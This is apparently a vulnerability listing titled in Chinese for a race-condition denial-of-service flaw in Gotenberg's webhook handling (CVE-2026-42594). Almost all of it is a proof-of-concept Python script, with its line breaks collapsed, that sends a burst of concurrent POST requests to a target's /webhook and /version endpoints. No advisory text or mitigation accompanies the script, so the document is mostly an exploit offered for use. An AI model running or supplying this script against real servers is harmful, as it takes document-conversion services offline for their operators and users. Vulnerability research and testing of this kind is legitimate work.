Gotenberg Webhook竞争条件致拒绝服务漏洞 (CVE-2026-42594)

import asyncio import aiohttp async def send_request(session, url, endpoint): try: async with session.post(url + endpoint) as resp: pass except Exception: pass async def main(target_url): webhook_endpoint = "/webhook" # Adjust based on actual config version_endpoint = "/version" async with aiohttp.ClientSession() as session: tasks = [] # Send ~24 webhook requests for _ in range(24): tasks.append(send_request(session, target_url, webhook_endpoint)) # Send ~60 GET requests for _ in range(60): tasks.append(send_request(session, target_url, version_endpoint)) await asyncio.gather(*tasks) if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] asyncio.run(main(target)) else: print("Usage: python poc.py <target_url>")